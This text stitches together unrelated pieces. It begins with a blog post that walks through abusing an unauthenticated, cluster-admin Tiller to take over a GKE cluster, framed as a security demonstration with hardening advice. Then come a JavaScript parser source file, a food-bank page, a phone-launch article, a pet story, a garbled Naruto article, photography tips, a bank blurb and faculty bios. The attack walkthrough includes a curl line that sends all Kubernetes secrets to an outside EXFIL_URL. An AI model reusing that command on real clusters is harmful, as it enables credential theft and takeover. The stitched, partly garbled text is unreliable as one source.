I have totally fallen down the Kubernetes rabbit hole and am really enjoying playing with it and attacking it. One thing I've noticed is although there are a lot of great resources to get up and running with it really quickly, there are far fewer that take the time to make sure it's set up securely. And a lot of these tutorials and quick-start guides leave out important security options for the sake of simplicity.
In my opinion, one of the biggest offenders of this is Helm, the "package manager for Kubernetes". There are countless tutorials and Stack Overflow answers that completely gloss over the security recommendations and take steps that really put the entire cluster at risk. More and more organizations I've talked to recently actually seem to be ditching the cluster side install of Helm ("Tiller") entirely for security reasons, and I wanted to explore and explain why.
In this post, I'll set up a default GKE cluster with Helm and Tiller, then walk through how an attacker who compromises a running pod could abuse the lack of security controls to completely take over the cluster and become full admin.
This post in only meant to practically demonstrate the risks involved in not enabling the security features for Helm. These are not vulnerabilities in Helm or Tiller and I'm not disclosing anything previously unknown. My only hope is that by laying out practical attacks, people will think twice about configuring loose RBAC policies and not enabling mTLS for Tiller.
To demonstrate the attack, I'm going to set up a typical web stack on Kubernetes using Google Kubernetes Engine (GKE) and Helm. I'll be installing everything using just the defaults as found on many write-ups on the internet. If you want to just get to the attacking part, feel free to skip this section and go directly to "Exploiting a Running Pod"
Helm has a quickstart guide to getting up and running with Helm quickly. This guide does mention that the default installation is not secure and should only be used for non-production or internal clusters. However, several other guides on the internet skip over this fact (example1, example2). And several Stack Overflow answers I've seen just have copy/paste code to install Tiller with no mention of security.
Again, I'll be doing a default installation of Helm and Tiller, using the "easiest" method.
Since Role Based Access Control (RBAC) is enabled by default now on every Kubernetes provider, the original way of using Helm and Tiller doesn't work. The Tiller pod needs elevated permissions to talk the Kubernetes API. Fine grain controlling of service account permissions is tricky and often overlooked, so the "easiest" way to get up and running is to create a service account for Tiller with full cluster admin privileges.
This created a service account called tiller, generated a secret auth token for it, and gave the account full cluster admin privileges.
Now it's time to use Helm to install something. For this scenario, I'll be installing a Wordpress stack from the official Helm repository. This is a pretty good example of how quick and powerful Helm can be. In one command we can get a full stack deployment of Wordpress including a persistent MySQL backend.
And that's it! I've got my blog up and running on Kubernetes in no time. What could go wrong now?
From here on out, I am going to assume that my Wordpress site has been totally compromised and an attacker has gained remote code execution on the underlying pod. This could be through a vulnerable plugin I installed or a bad misconfiguration, but let's just assume an attacker got a shell.
Our search domains tell us we're in the default namespace (as well as inside a GKE project named ropnop-helm-testing).
Great! Tiller is installed in this cluster. How can we abuse it?
The way that Helm talks with a kubernetes cluster is over gRPC to the tiller-deploy pod. The pod then talks to the Kubernetes API with its service account token. When a helm command is run from a client, under the hood a port forward is opened up into the cluster to talk directly to the tiller-deploy service, which always points to the tiller-deploy pod on TCP 44134.
What this means is that for a user outside the cluster, they must have the ability to open port forwards into the cluster since port 44134 is not externally exposed. However, from inside the cluster, 44134 is available and the port forward is not needed.
Since we didn't get a timeout, something is listening there. Curl fails though, since this endpoint is designed to talk gRPC, not HTTP.
Knowing we can reach the port, if we can send the right messages, we can talk directly to Tiller - since by default, Tiller does not require any authentication for gRPC communication. And since in this default install Tiller is running with cluster-admin privileges, we can essentially run cluster admin commands without any authentication.
All of the gRPC endpoints are defined in the source code in Protobuf format, so anyone can create a client to communicate to the API. But the easiest way to communicate with Tiller is just through the normal Helm client, which is a static binary anyway.
Note: You may need to download specific versions to match up the version running in the server. You'll see error messages telling you what version to get.
The helm binary allows us to specify a direct address to Tiller with --host or with the HELM_HOST environment variable. By plugging in the discovered tiller-deploy service's FQDN, we can directly communicate with the Tiller pod and run arbitrary Helm commands. For example, we can see our previously installed Wordpress release!
From here, we have full control of Tiller. We can do anything a cluster admin could normally do with Helm, including installing/upgrading/deleting releases. But we still can't "directly" talk to the Kubernetes API, so let's abuse Tiller to upgrade our privileges and become full cluster admin.
Tiller is configured with a service account that has cluster admin privileges. This means that the pod is using a secret, privileged service token to authenticate with the Kubernetes API. Service accounts are generally only used for "non-human" interactions with the k8s API, however anyone in possession of the secret token can still use it. If an attacker compromises Tiller's service account token, he or she can execute any Kubernetes API call with full admin privileges.
Unfortunately, the Helm API doesn't support direct querying of secrets or other resources. Using Helm, we can only create new releases from chart templates.
Chart templates are very well documented and allow us to template out custom resources to deploy to Kubernetes. So we just need to craft a resource in a way to exfiltrate the secret(s) we want.
Of course, since we don't hace access to the Kubernetes API directly and are using Helm, we can't just send this YAML - we have to send a Chart.
While you can always use the "exfil_sa_token" chart to steal service account tokens, it's predicated on one thing: you know the name of the service account.
In the above case, an attacker would have to pretty much guess that the service account name was "tiller", or the attack wouldn't work. In this scenario, since we don't have access to the Kubernetes API to query service accounts, and we can't look it up through Tiller, there's no easy way to just pull out a service account token if it has a unique name.
- "curl --data-binary @<(kubectl get secrets --all-namespaces -o json) $(EXFIL_URL)"
When this chart is installed, it will create a new cluster-admin service account, then launch a job using that service account to query for every secret in all namespaces, and dump that data in a POST body back to EXFIL_URL.
Working from within the cluster is annoying though, since it is always going to require us to execute commands from our compromised pod. Since this is a GKE cluster, we should be able to access the Kubernetes API over the internet if we find the correct endpoint.
There is a ton more we can do to maintain persistence (especially after dumping all the secrets previously), but that will remain a topic for future posts.
This entire scenario was created to demonstrate how the "default" installation of Helm and Tiller (as well as GKE) can make it really easy for an attacker to escalate privileges and take over the entire cluster if a pod is compromised.
mTLS should be configured for Tiller, and RBAC should be as locked down as possible. Or don't create a Tiller service and require admins to do manual port forwards to the pod.
Or ask yourself if you really need Tiller at all - I have seen more and more organizations simply abandon Tiller all together and just use Helm client-side for templating.
Using VPCs, locking down access, filtering metadata, and enforcing network policies should be done at a minimum.
Sadly, a lot of these security controls are hard to implement, and require a lot more effort and research to get right. It's not surprising to me then that a lot of default installations still make their way to production.
Hope this helps someone! Let me know if you have any questions or want me to focus on anything more in the future. I'm hoping this is just the first of several Kubernetes related posts.


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import {types as tt} from "./tokentype"
import {Parser} from "./state"
import {has} from "./util"

const pp = Parser.prototype;

// Convert existing expression atom to assignable pattern
// if possible.

pp.toAssignable = function(node, isBinding) {
  if (this.options.ecmaVersion >= 6 && node) {
    switch (node.type) {
    case "Identifier":
    case "ObjectPattern":
    case "ArrayPattern":
      break;

    case "ObjectExpression":
      node.type = "ObjectPattern";
      for (let i = 0; i < node.properties.length; i++) {
        let prop = node.properties[i];
        if (prop.kind !== "init") this.raise(prop.key.start, "Object pattern can't contain getter or setter");
        this.toAssignable(prop.value, isBinding)
      }
      break;

    case "ArrayExpression":
      node.type = "ArrayPattern";
      this.toAssignableList(node.elements, isBinding);
      break;

    case "AssignmentExpression":
      if (node.operator === "=") {
        node.type = "AssignmentPattern";
        delete node.operator;
        // falls through to AssignmentPattern
      } else {
        this.raise(node.left.end, "Only '=' operator can be used for specifying default value.");
        break;
      }

    case "AssignmentPattern":
      if (node.right.type === "YieldExpression")
        this.raise(node.right.start, "Yield expression cannot be a default value");
      break;

    case "ParenthesizedExpression":
      node.expression = this.toAssignable(node.expression, isBinding);
      break;

    case "MemberExpression":
      if (!isBinding) break;

    default:
      this.raise(node.start, "Assigning to rvalue")
    }
  }
  return node
};

// Convert list of expression atoms to binding list.

pp.toAssignableList = function(exprList, isBinding) {
  let end = exprList.length;
  if (end) {
    let last = exprList[end - 1];
    if (last && last.type == "RestElement") {
      --end
    } else if (last && last.type == "SpreadElement") {
      last.type = "RestElement";
      let arg = last.argument;
      this.toAssignable(arg, isBinding);
      if (arg.type !== "Identifier" && arg.type !== "MemberExpression" && arg.type !== "ArrayPattern")
        this.unexpected(arg.start);
      --end
    }

    if (isBinding && last.type === "RestElement" && last.argument.type !== "Identifier")
      this.unexpected(last.argument.start);
  }
  for (let i = 0; i < end; i++) {
    let elt = exprList[i];
    if (elt) this.toAssignable(elt, isBinding)
  }
  return exprList
};

// Parses spread element.

pp.parseSpread = function(refDestructuringErrors) {
  let node = this.startNode();
  this.next();
  node.argument = this.parseMaybeAssign(refDestructuringErrors);
  return this.finishNode(node, "SpreadElement")
};

pp.parseRest = function(allowNonIdent) {
  let node = this.startNode();
  this.next();

  // RestElement inside of a function parameter must be an identifier
  if (allowNonIdent) node.argument = this.type === tt.name ? this.parseIdent() : this.unexpected();
  else node.argument = this.type === tt.name || this.type === tt.bracketL ? this.parseBindingAtom() : this.unexpected();

  return this.finishNode(node, "RestElement")
};

// Parses lvalue (assignable) atom.

pp.parseBindingAtom = function() {
  if (this.options.ecmaVersion < 6) return this.parseIdent();
  switch (this.type) {
  case tt.name:
    return this.parseIdent();

  case tt.bracketL:
    let node = this.startNode();
    this.next();
    node.elements = this.parseBindingList(tt.bracketR, true, true);
    return this.finishNode(node, "ArrayPattern");

  case tt.braceL:
    return this.parseObj(true);

  default:
    this.unexpected()
  }
};

pp.parseBindingList = function(close, allowEmpty, allowTrailingComma, allowNonIdent) {
  let elts = [], first = true;
  while (!this.eat(close)) {
    if (first) first = false;
    else this.expect(tt.comma);
    if (allowEmpty && this.type === tt.comma) {
      elts.push(null)
    } else if (allowTrailingComma && this.afterTrailingComma(close)) {
      break
    } else if (this.type === tt.ellipsis) {
      let rest = this.parseRest(allowNonIdent);
      this.parseBindingListItem(rest);
      elts.push(rest);
      this.expect(close);
      break
    } else {
      let elem = this.parseMaybeDefault(this.start, this.startLoc);
      this.parseBindingListItem(elem);
      elts.push(elem)
    }
  }
  return elts
};

pp.parseBindingListItem = function(param) {
  return param
};

// Parses assignment pattern around given atom if possible.

pp.parseMaybeDefault = function(startPos, startLoc, left) {
  left = left || this.parseBindingAtom();
  if (this.options.ecmaVersion < 6 || !this.eat(tt.eq)) return left;
  let node = this.startNodeAt(startPos, startLoc);
  node.left = left;
  node.right = this.parseMaybeAssign();
  return this.finishNode(node, "AssignmentPattern")
};

// Verify that a node is an lval — something that can be assigned
// to.

pp.checkLVal = function(expr, isBinding, checkClashes) {
  switch (expr.type) {
  case "Identifier":
    if (this.strict && this.reservedWordsStrictBind.test(expr.name))
      this.raise(expr.start, (isBinding ? "Binding " : "Assigning to ") + expr.name + " in strict mode");
    if (checkClashes) {
      if (has(checkClashes, expr.name))
        this.raise(expr.start, "Argument name clash");
      checkClashes[expr.name] = true
    }
    break;

  case "MemberExpression":
    if (isBinding) this.raise(expr.start, (isBinding ? "Binding" : "Assigning to") + " member expression");
    break;

  case "ObjectPattern":
    for (let i = 0; i < expr.properties.length; i++)
      this.checkLVal(expr.properties[i].value, isBinding, checkClashes)
    break;

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    for (let i = 0; i < expr.elements.length; i++) {
      let elem = expr.elements[i];
      if (elem) this.checkLVal(elem, isBinding, checkClashes)
    }
    break;

  case "AssignmentPattern":
    this.checkLVal(expr.left, isBinding, checkClashes);
    break;

  case "RestElement":
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    break;

  case "ParenthesizedExpression":
    this.checkLVal(expr.expression, isBinding, checkClashes);
    break;

  default:
    this.raise(expr.start, (isBinding ? "Binding" : "Assigning to") + " rvalue")
  }
};

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One in five Texas families struggle to put enough food on the table. Hunters for the Hungry aims to put an end to their hunt for food.
Hunters for the Hungry was initiated in 1990 through a collaborative effort among hunger relief agencies, hunters, and state government agencies. In time for the 1991-1992 hunting season, Hunters for the Hungry became a reality with more than 90 meat processors offering their services to the program. Hunters called TACAA's hunger relief hotline to find the nearest participating meat processor or to learn more about the program. TACAA assumed full responsibility of the program in 1998. Hunters for the Hungry is now operated through Feeding Texas.
To date, Hunters for the Hungry has donated and distributed over 10 million servings of venison to Texans in need. With wild game donations steadily increasing each year, Hunters for the Hungry continues to boost its capacity to supplement the diets of people in need with a nutritious source of protein.
Hunters for the Hungry's mission is three-fold:
To alleviate hunger and malnutrition in Texas.
To provide a meaningful outlet for hunters wishing to help their communities.
To promote stewardship of the environment through sensible wildlife management plans.
Bring your legally tagged, field-dressed whitetail or mule deer to a participating meat processor. There is no cost to you! We have two participating meat processors in our area: Buesing Deer Processing in Westhoff (361-275-4176) and Harwell's Custom Processing in Victoria (361-575-5106).
Due to state and federal health regulations, Hunters for the Hungry is not able to accept donations of feral hog.
"About 25 years ago, when my kids were picky eaters, I told them I would fix Grub, the kind of food cowboys ate on wagon trains. Well, it worked. In fact, it's still working today. Even though they are all grown up, Grub is still fixed at their homes. I still fix it too, on hunting and fishing trips, and camp outs."
Dodd Bowling
3809 E. Rio Grande Street
The Food Bank of the Golden Crescent is a 501 (c)(3) non-profit recognized by the IRS. Member of Feeding America (FA) and Feeding Texas. Authorized distribution point for US Department of Agriculture (USDA) Commodities Program.
Nutritional Education
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Waterloo, Ontario - Research In Motion is out to get its mojo back by expanding its selection of touchscreen smartphones with faster processors and other enhancements in what it called its largest-ever worldwide product launch.
The launch also marks the debut of the company's BlackBerry 7 OS. The first phones with the QNX OS are due next year.
All five models features color touchscreen, and three add hard QWERTY keyboard. All also offer such improvements as 1.2GHz processor, 720p HD video recording, and dedicated 24-bit high-resolution graphics processor.
The products include the BlackBerry Bold 9900 and 9930. Both are the thinnest BlackBerry smartphones ever at 0.41 inches deep, and both are the first Bolds to add a touchscreen to supplement their BlackBerry QWERTY keyboard. They're also the first BlackBerry phones with built-in near-field communications (NFC).
The other three products are the BlackBerry Torch 9810, which features 3.2-inch touchscreen and slide-out QWERTY keyboard, and the all-touch BlackBerry Torch 9850 and 9860. The latter two offer the largest ever displays on a BlackBerry, at 3.7 inches.
The quintet will roll out worldwide through 225 carriers and others starting later this month, RIM said. Three of the models will be available from AT&T, and all will be AT&T's first 4G 14.4Mbps HSPA+ BlackBerry phones. All of the AT&T models will also operate in foreign 2.1GHz HSPA+ networks. Pricing wasn't announced.
The first of the new BlackBerry phones from AT&T will be the Torch 9810 slider, which the carrier will offer on an exclusive basis beginning in August. The second-generation Torch will replace AT&T's first-generation Torch, which also comes with touchscreen and slide-out keyboard. Pricing wasn't announced.
Sometime later this year, AT&T will offer the BlackBerry Bold 9900 and the all-touch BlackBerry Torch 9860, which will be AT&T's first all-touch BlackBerry smartphone. Pricing wasn't announced.
The Bold 9900 is also destined for other U.S. carriers, as is the Bold 9300. Previously, T-Mobile said it would offer the Bold 9900 on its 1700/2100MHz 4G HSPA+ network with international 4G roaming on the 900MHz and 2.1GHz bands. For its part, RIM previously disclosed that the Bold 9930 operates in U.S. 3G CDMA Rev. A networks in the 850/1900MHz bands and also operates in the foreign 2.1GHz band. Details of the two Bolds were previously announced in May.
Other U.S. carriers that will offer the Torch 9860 haven't been announced, nor have the U.S. carriers that will offer the Torch 9850.
Thanks to the new OS, all five phones feature a next-generation BlackBerry browser with faster, more fluid web browsing, the company said. The browser engine, combined with hardware enhancements, yields browsing results said to be 40 percent faster than BlackBerry 6-based smartphones and up to 100 percent faster than BlackBerry 5-based smartphones. The new browser also offers improved zooming and panning as well as HTML5 support.
Other BlackBerry 7 OS features include voice-activated search to conduct a universal search for content on the phone and web. Additional personal and productivity apps are included out of the box.
The OS also adds BlackBerry Balance, which separates personal content from secure corporate content, giving corporate users the ability to use their handsets for personal email and other personal-use apps. Corporate IT departments will be able to remotely wipe only corporate data from the handset and block work-related content and apps from being copied or forwarded to personal contacts.
The OS also supports the phones' Liquid Graphics touchscreen, said to deliver fast touch-based navigation, web browsing, pictures, video, and graphics-intensive games with video up to 60 fps.
In other enhancements, all five phones feature the newest release of BlackBerry Messenger (BBM) instant messaging, which is integrated with other apps.
An updated Social Feeds app now captures updates from media, podcasts, and favorites in one consolidated view. The new Facebook for BlackBerry app brings features such as Facebook chat and integrated BBM to make it easier to chat with Facebook friends in real time.
As previously reported, the two new Bolds feature dual-band 802.11 Wi-Fi, with Wi-Fi b/g/n at 2.4 GHz plus 802.11 a/n at 5GHz, brushed stainless-steel frame, optical trackpad, 8GB onboard memory, MicroSD slot and 5-megpixel camera.
In comparing its new Torch 9810 touchscreen slider to the first-generation Torch, AT&T pointed out that processor speed doubles to 1.2GHz, included memory goes to 8GB from 4GMB, RAM increases 50 percent to 768MB, and the display goes to 480 by 640 VGA.


I can't stop watching… too funny and too cute!
OMG, I can't handle the cuteness. This dog however, I think he's more confused than overloaded with how cute this 4 day old baby goat is, but he's trying his best to be a good friend.
The 4 month old puppy must have thought this weird looking creature in front of him is some strange dog and was trying to get it to play with it.
The goat however had little interest in dog games but that didn't let this beautiful dog stop attempting.
We loved this amazing friendship so much we just had to share it.


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Home Entertainment Manga & Anime Was Kagami Uchiha Mangekyou Sharingan a Hokage chosen by Tobirama?
Was Kagami Uchiha Mangekyou Sharingan a Hokage chosen by Tobirama?
Kagami Uchiha mangekyou sharingan facts | Why didn't Tobirama select Kagami Uchiha as hokage?
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Why didn't Kagami Uchiha and Shisui Uchiha animated again during the Fourth Shinobi World War by Kabuto?
Tobirama would have preferred to include Kagami on his side. In the war, more than anything, you require teammates you can count on. Tobirama knew that Kagami was among the Uchiha who could conquer their clan's Curse of Hatred, and accordingly, did trust Kagami. However the fact is Tobirama did not select Kagami Uchiha as hokage. Hiruzen was the most experienced member of the team and the most at peace within himself as he was the only person who offered himself as a decoy and did it calmly. Of his fellow teammates, Hiruzen was the most experienced combat-savvy, selfless, and calm. In addition, Kagami died when he was only 25.
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Hiruzen is better suited for the task. Hey, you had a notion regarding not putting your faith in Uchiha or whatnot, were you? Tobirama was as innocent as you could be. He suggested that a person within the group should sacrifice themselves to keep an end to the Kinkaku Force back. That would be suicide to him. He was an examination of character. He was the one who was the most willing to give up his life to save Konoha was the best candidate to become Hokage.
The winner was Hiruzen and Danzo, just a few seconds further behind. There was no evidence that Kagami was thinking about volunteering, but he could undoubtedly have complied with the opportunity. Hiruzen was superior Hokage substance to Kagami.
That is before factoring in the power of raw. We know that Hiruzen was a beast when he was at his peak and was able to master every single technique that Konoha had to offer. Kagami, however, on his own is not a celebrity or even a name to refer to. We know that he could be pretty good since Tobirama was his squad; however, "pretty damn good" is not quite as good as Hiruzen. Both in terms of character and ability, Kagami was nowhere near Hiruzen's class.
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Kagami Uchiha was one of the jonins from Konohagakure's Uchiha clan. In the animated series, Kagami was amongst the few hundred students to graduate from the Academy. He became close to Danzo Shimura, and Hiruzen Sarutobi Kagami saved his former friend many times using his dojutsu. Kagami was with his group during his time in the First Shinobi World War.
During the First Shinobi World War, Kagami and his fellow soldiers of the Escort Unit were with The Second Hokage on a mission. In the end, they were pursued and eventually surrounded by the Kumogakure's Kinkaku Squad, the group considered their options, and Kagami observed that Koharu's idea of an ambush was not a good idea and that an escape route was required to entice the enemy away. He listened to The Second Hokage, who'd nominated himself as a decoy, swore in Hiruzen to be the third Hokage.
At some time, Kagami became a father and, at the age of 25, passed away. The only direct descendant he has is Shisui was and inherited the Will of Fire rather than Uchiha's Curse of Hatred.
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He had a deep dedication to his family. Kagami was devoted to the defense of Konoha and had accomplished a lot to protect the village. His loyalty to his clan was so strong that Kagami never suffered the clan's Curse of Hatred, which generally had a high chance of occurring after awakening the Sharingan. Because of this, he was among the few Uchiha who Tobirama was a believer in, and also, being one of six individuals, Tobirama decided to directly under his.
Kagami is a fair-skinned male with short, black straight hair that fell the top of his forehead protector, framing the face. The cartoon shows Kagami's hair as being a little more shaved. In his time in the First Shinobi War, Kagami wore the typical Konoha costume of the day. It consisted of a black suit, grey armor covering his chest and thighs, the shoulders and armguards, a forehead protector, the kunai-style holster on his right leg, sandals, and the pouch that was attached to his back using bandages.
In the movie, he was a kid when the village was founded. He was portrayed wearing the typical high-collared black Uchiha shirt, with the clan's symbol at the rear, gray pants, bandages on his legs and arms, and black Shinobi sandals. In other instances, his clothes were is typical of the Uchiha clan and featured the high collared, dark-colored shirt.
Being the Uchiha, Kagami had a powerful chakra. He was among the clan members who could activate his clan's Kekkei Genkai, known as the Sharingan, which gave Kagami a variety of beneficial abilities. It included the ability to see the chakra flow and identify genjutsu and various types of chakra, a few abilities to predict the future, and the same methods that the user is aware of healthy other aspects. In the show, his abilities as a visual artist were highly praised Danzo for helping him save his life numerous times. Kagami's descendant Shisui who was honored as the most powerful Uchiha in his day, and an expert in the use in Mangekyo Sharingan Mangekyo Sharingan, admitted that he was not as strong as his father.
Kagami was not an all-star Shinobi. Sure, he was Shisui's father and was a fighter alongside Danzo in the battle with Hiruzen under Tobirama. However, we aren't even sure what happened to him. He wasn't a hero enough to be able to redirect the fight.
Shisui was, on the contrary, was not dead, but his body was lost following his suicide, which made it impossible for Edo Tensei to find his. The stories even suggest Itachi burnt his corpse to hide the evidence of his suicide.
Because they were both possible candidates for the Tobi post, Obito was ultimately discovered to be in the position. Still, we weren't aware of that at the time, and Kishimoto was determined to keep the public guessing even though it was the obviousness in the retrospective view.
From a writer's perspective viewpoint, it doesn't make sense to pick Kagami as a Hokage. In other words, there won't be any way to make the Naruto franchise so enjoyable.
Since he would have created Kagami Hokage, the Uchiha and Senju could have become closer and begun to trust one another.
The Uchiha disliked Senju because they believed Senju was not a trustworthy person even though they had done their best to help the village. Also, choosing Hiruzen instead of Kagami for the third Hokage added to the anger, which ultimately led to the Uchiha making plans for a coup d'etat. Therefore, there would be no coup d'etat That Itachi's father thought of. If there were no coup d'etat in place, then the Uchihathe massacre wouldn't have occurred.
If the Uchihathe massacre didn't happen, Itachi would have remained in the leaf and wouldn't have to take out the Uchiha family, and Sasuke's parents would not have been killed in front of young Sasuke. It means that Sasuke could have still loved his brother rather than being angry at his brother. Sasuke wouldn't have experienced the so-called "Curse of Hatred," which caused his determination to be strong enough to fight anything and everything to defeat his brother.
The "Curse of Hatred" ultimately made him highly robust. He was so strong that he could easily beat Itachi Uchiha. The murder of his brother led to Sasuke awakening his Eternal Mangekyou Sharingan and later the Rinnegan
With that, Rinnegan, both he and Naruto, had a shot against Madara and then defeated Kaguya Otsutsuki and brought the world of Shinobi to a standstill.
So, Tobirama didn't selected kagami. Had Tobirama selected Kagami as the hokage. Sasuke would still have admired Itachi and wouldn't be suffering from the curse of hate. Sasuke could never have achieved his full potential, resulting in Kaguya dismantling the entire Shinobi world.
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For many photography lovers, many of them found that grasping the night shots skill can be rather challenging. Even though most of the novice photographer do not possess any flash glaring in the sky at night, but night shots can stunningly combine the diminishing light in its rainbow colored hues and soft casts.
Those beginner of photography would tend to devote a lot of time and effort but still having to worry with regards to taking good night shots. There are many things such as composition, lighting, as well as other technical factors that you need to take into consideration. As a beginner, you are going to get struggling at the moment you are moving into a challenging area to enhance your shooting skill like trying to shoot for night shots. In order to improve your night shots skill, of course you need to pour your heart into it to learn up and grip the skill. Below are some sharing on the rules of thumb of photography tricks that can develop your shooting skills.
It can be rather a learning curve for novice photographer when practicing to shoot for night shots. Most of them found difficulties and disadvantages which aren't found in any other shooting conditions. It is come with advantage for people that having a night setting on the camera. But, in order for you to get used to the detailed aspects, the most effective digital photography technique to help you is you should carry out some experiment with the manual settings of your camera. Doing a little adjustments for each and every series of shots. By doing so, you are able to increase your chances of striking the ideal spot. You can search online as some photography courses available on the internet can teach you in detail on the proper way to move your camera shooting from auto to manual settings, so that you can take full control of your photographs for night shots.
When come to night shooting, light issue is always a big challenge. For subject that produces for rough waters, as your DSLR camera is dependent on the light subtleties to shoot for quality picture. What you need to do is you have to ensure that the shutter of your camera is open. You are required to spend for a lengthier time for photo shooting in order to generate some decent shots. You shouldn't need to worry too much in case you are getting some blur screen during your night shots as this could just add to the ambient. In case it isn't favorable for the picture type that you wish to take, you can just try to play with other settings, such as pumping up the ISO or adjusting the white balance. You are not going to turn on your flash light for mos of the circumstances. It'll possible not too effective and could get you detract from the required mood.
The instability when shooting for night shots which is caused by camera shake will comes into play if you are holding the camera yourself. As a human being, you are not going to have a 100% still no matter how hard you try. There is no problem for holding the camera yourself in daylight as the affect of camera shake always can get negligible. But, for night shots you are going to spend a longer time period for you to take for decent picture, and it is become critical for any movement that you made. You can have a few ways to prevent camera shake. First, you can just make use of a camera lens that come with built in image stabilization and created to solve the camera shake issue. Or, the more robust way is you should spend some money to buy a decent tripod and the addition of a shutter cable release which can totally resolve your camera shake issue and also can help you to shoot for different angle of images with the help of the shutter cable release.
– A mid to high end camera: You can use a regular digital camera to take pictures of your friends in front of your favorite night spot. However, if you want high quality images that can be used as decoration, you will need good equipment that has several night setting options.
– An external flash unit: You simply cannot use the built in flash to take night time images because it can lend a grossly artificial quality to your images. Besides, it proves quite futile when used to take pictures of large objects that are several meters away from you.
In summary, it is essential to remember that even professional shoot for many times on the same subject at night with the hope that at least one of the pictures will turn out to be ideal. So, there is no reason for you to to just click on a single picture; after all, you can't have anything less than perfect on the walls of your house.


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ING combines its deep understanding of CEE and the region's leading business sectors with its acclaimed capabilities in structured finance to give its clients world-class service and support.
By Michiel de Haan, Head of Structured Finance CEE at ING
The economic uncertainty of recent years has highlighted CEE's strengths in many of the most world's most important sectors. Metals and mining companies and energy firms from CEE are not just regional powerhouses but crucial global players as well. Few regions match the agricultural potential of CEE. As companies consolidate and become more efficient, CEE will become ever more central to the world's ability to feed itself. Elsewhere, in sectors such as infrastructure and in particular telecommunications, media and technology, the dynamism that became associated with CEE in the late 1980s is resurgent.
What these diverse sectors have in common is a need for finance. Given the nature of CEE and the changing needs of companies in the region, structured finance – which uses cash flow or asset-based financing structures – continues to play a crucial funding role alongside the ever-developing debt capital markets. Effective structured finance requires wide-ranging and extensive connections with other financial institutions. It also demands structuring expertise, which comes from a combination of a commitment to innovation and longstanding experience. At the same time an in-depth knowledge of sectors and regions is equally important to structured finance.
The structured finance business is changing as the capacity of many banks to lend is curtailed by regulatory reform such as Basel III, which requires them to hold more capital. At ING we have reaffirmed our commitment to global structured finance as we remain a top 10 player, and to CEE where we have a 20-year track record and are consistently a top 3 supplier of structured finance solutions to our ever-growing client base. As arranger and underwriter we continue to play an active role in domestic and international deals in the club and syndicated loan market. We also offer advisory services that leverage our structured finance expertise and sector knowledge to give clients the edge when it comes to financing projects and acquisitions, or optimising their capital structures.


The research of Professor Petzold focuses on modeling, analysis, simulation and software for multiscale systems in biology and materials. Current application areas include systems biology of circadian rhythm and cell polarization, translational medicine for coagulopathy and post-traumatic stress disorder, ecology, social networks and materials at the molecular scale. The group is building an integrated development environment for multiscale, discrete stochastic simulation and analysis of simulation data that scales from desktop to cloud computing. The main commonalities in the work are development of multiscale computational methodology including both discrete stochastic simulation and differential equations, and the study of dynamics on networks.
Professor Petzold is a faculty member in the Department of Mechanical Engineering and the Department of Computer Science, and an affiliated faculty member in the Department of Mathematics. She is the Director of the Computational Science and Engineering Graduate Emphasis. She leads the CSE lab. She is a member of the US National Academy of Engineering and a Fellow of ACM, ASME, SIAM and AAAS. She was named the UCSB Faculty Research Lecturer for 2011, and was awarded the SIAM/ACM Prize for Computational Science and Engineering in 2013.
Professor Archuleta's research interests include observing, analyzing and predicting strong motion from earthquakes. Following up on these interests involves dissecting the problem into more manageable pieces: collecting data, modeling the earthquake process itself, and understanding wave propagation in heterogeneous geological structures.
The research of Professor Atzberger focuses on problems at the interface of stochastic analysis, statistical mechanics, and scientific computation. His work is strongly motivated by problems arising in soft condensed matter physics and biophysics. He also works on general stochastic numerical methods and software for the mechanics of fluid-structure interactions subject to thermal fluctuations. A common theme in his research is the analysis and development of computational methods to investigate phenomena arising in applications described by stochastic partial differential equations.
Professor Atzberger studied mathematics at the Courant Institute at New York University where he received his PhD in 2003. From 2003 - 2006 he was a postdoctoral fellow at Rensselaer Polytechnic Institute. He joined the faculty at the University of California Santa Barbara in 2006. He is a receipt of the NSF Career Award and the Hellman Faculty Fellowship.
Professor Begley's research focus is on theoretical mechanics and advanced simulations to guide materials development, with an emphasis on multilayered systems, interfaces and composites. He has more than 100 archival publications: topics include thermal barrier coatings, environmental barrier coatings, the mechanical integrity of microelectronics, advanced simulations of virtual tests, bio-inspired composites and adhesives, novel 3D printing strategies for two-phase materials, acoustic assembly of colloidal particles, the structural integrity of microelectronics, nano-porous gold, and the performance of microfabricated devices for biochemical diagnostics. These works draw heavily on expertise in interfacial fracture mechanics, adhesion, structure-property relationships in multi-phase materials, numerical techniques for highly non-linear systems, multiscale plasticity, and multifunctional component design.
The Frog-killing Chytrid Fungus in the California Sierra Nevada: The Briggs lab is investigating the factors that allow for persistence of populations of mountain yellow-legged frogs infected with the chytrid fungus, Batrachochytrium dendrobatidis, through a combination of field surveys, experiments, genetics, molecular techniques, and modeling.
Lyme Disease in Southern California: Lyme disease, caused by bacteria, Borrelia burgdorferi, is maintained in the wild in vertebrate hosts, and transmitted between hosts by ticks. Lyme disease has a much higher prevalence in the eastern US than in California. The Briggs lab is studying the dynamics of the tick, pathogen, and vertebrate host communities in Southern California to understand the factors contributing to the low pathogen prevalence in this area.
Professor Brown's research is entirely theoretical/computational in nature. Our interests lie at the interface between physical chemistry and biophysics and we use a variety of tools spanning the traditional fields of statistical mechanics, hydrodynamics, elasticity theory and quantum mechanics in our research efforts. Recent work has focused on the dynamics and structure of biomembranes and the interpretation of various spectroscopy experiments (single molecule fluorescence, neutron spin echo, flicker spectroscopy, etc.).
The research of Professor Campás focuses on morphogenesis and self-organization of living systems. His group combines theory and experiments, as well as concepts from physics, biology, materials science and engineering, to obtain a global (or 'systems') understanding of the problems they work on. Their current interests span several topics such as embryonic development, tissue growth, cell shape, and morphological variation. Theoretical work in his group includes concepts from non-linear physics (dynamical systems), graph theory, fluid mechanics and soft-matter physics. Experimental work includes microfluidics, mechanics, microscopy, genetics, etc.
Professor Campás is a faculty member in the Department of Mechanical Engineering and in the Center for Bioengineering. He did his PhD in Biological Physics at the Curie Institute (Paris), and his postdoctoral research in Applied Mathematics and Physics at Harvard University. He also performed part of his postdoctoral research at Harvard Medical School and the Wyss Institute for Biologically Inspired Engineering at Harvard. He currently holds a Mellichamp Endowed Chair in Systems Biology.
Professor Carlson's research investigates robustness, tradeoffs, and feedback in complex, highly connected systems, and develops multi-scale models to capture important small-scale details and predict large-scale behavior.
Professor Ceniceros' research is in the area of numerical methods for free boundary problems, complex fluids and soft materials. His work includes the design, analysis, and application of adaptive and multiscale methods, immersed boundary-type methods, boundary integral approaches, phase field and field-theoretic models.
